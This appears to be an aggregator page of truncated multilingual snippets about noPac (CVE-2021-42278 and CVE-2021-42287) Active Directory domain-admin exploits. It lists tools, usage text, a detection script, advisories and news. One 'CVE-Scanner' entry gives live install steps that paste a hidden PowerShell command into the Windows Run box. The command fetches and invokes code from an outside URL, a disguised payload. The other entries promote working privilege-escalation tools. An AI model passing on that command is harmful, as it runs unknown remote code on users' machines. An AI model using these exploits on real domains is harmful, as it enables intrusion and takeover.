Pachine

Pachine PythonによるCVE-2021-42278 Active Directoryの権限昇格 の実装です。 インストール root@kitploit: $ pip3 install impacket 使用法 root@kitploit: Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE -domain-netbios NETBIOSNAME -computer-name...

noPac

Informazioni Sfruttamento di CVE-2021-42278 e CVE-2021-42287 per impersonare DA da un utente di dominio standard Modificato da sam-the-admin. Utilizzo root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to...

noPac

Über NoPac-Exploit, der einige alte Schwachstellen CVE-2021-42278 und CVE-2021-42287 ausnutzt, um sich von einem Standardbenutzer als Domänenadministrator auszugeben. Keine lästigen Abhängigkeiten mehr, nur eine einzelne Binärdatei – heilige Scheiße, ich liebe Go, Python könnte das NIEMALS. Das...

noPac

noPac Explorando CVE-2021-42278 e CVE-2021-42287 O projeto original noPac pode ter alguns problemas de implementação, que impediram o funcionamento local, então referenciei o projeto sam-the-admin para fazer modificações. Uso root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py...

sam-the-admin

Sfruttando CVE-2021-42278 e CVE-2021-42287 per impersonare DA da un utente di dominio standard Problemi noti non funzionerà al di fuori di kali, lo aggiornerò più avanti : Scopri CVE-2021-42287/CVE-2021-42278 Weaponizzazione spoofing di sAMAccountName...

Invoke-noPac

Invoke-noPac L'assembly .Net è basata sul mio fork https://github.com/ricardojba/noPac che contiene alcune modifiche al codice per migliorare l'originale. PowerSharpPack Loader di assembly .Net in stile PowerSharpPack per lo Scanner & Exploit CVE-2021-42287 - CVE-2021-42278 noPac. Uso:...

noPac

noPac Questo progetto nasce dallo studio dei principi di funzionamento di noPac. Sulla base del progetto di cube0x0 sono state apportate alcune modifiche. Nel codice sorgente sono stati aggiunti commenti personali per la comprensione. Rimossa la funzionalità Scan, personalmente ritengo che la...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scanner è uno strumento progettato per scansionare e sfruttare vulnerabilità associate a CVE-2021-42287, CVE-2021-42278 e altri problemi di sicurezza. Questo progetto mira a fornire a professionisti della sicurezza e ricercatori un metodo semplice per identificare e mitigare i...

noPac-detection

Informazioni Script di rilevamento per CVE-2021-42278 e CVE-2021-42287 Utilizzo root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h,...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/AUTRE Scanner & Exploiteur. Install 1. Appuyez sur WIN + R 2. Copiez et collez le code ci-dessous et appuyez sur Entrée root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; ...

CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub

The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...

noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...

Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)

Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...

Two Active Directory Bugs Lead to Easy Windows Domain Takeover

A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...

Exploit for CVE-2021-42278

Pachine Python implementation for CVE-2021-42278 Active Dire...

CVE-2021-42278

creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

CVE-2021-42278

Active Directory Domain Services Elevation of Privilege Vulnerability...

CVE-2021-42278

CVE-2021-42278 is an Active Directory Domain Services privilege-escalation vulnerability in Microsoft Windows. The connected documents describe exploits/frameworks (e.g., Pachine, sam-the-admin, noPac) that impersonate a Domain Administrator from a standard domain user using Kerberos delegation t...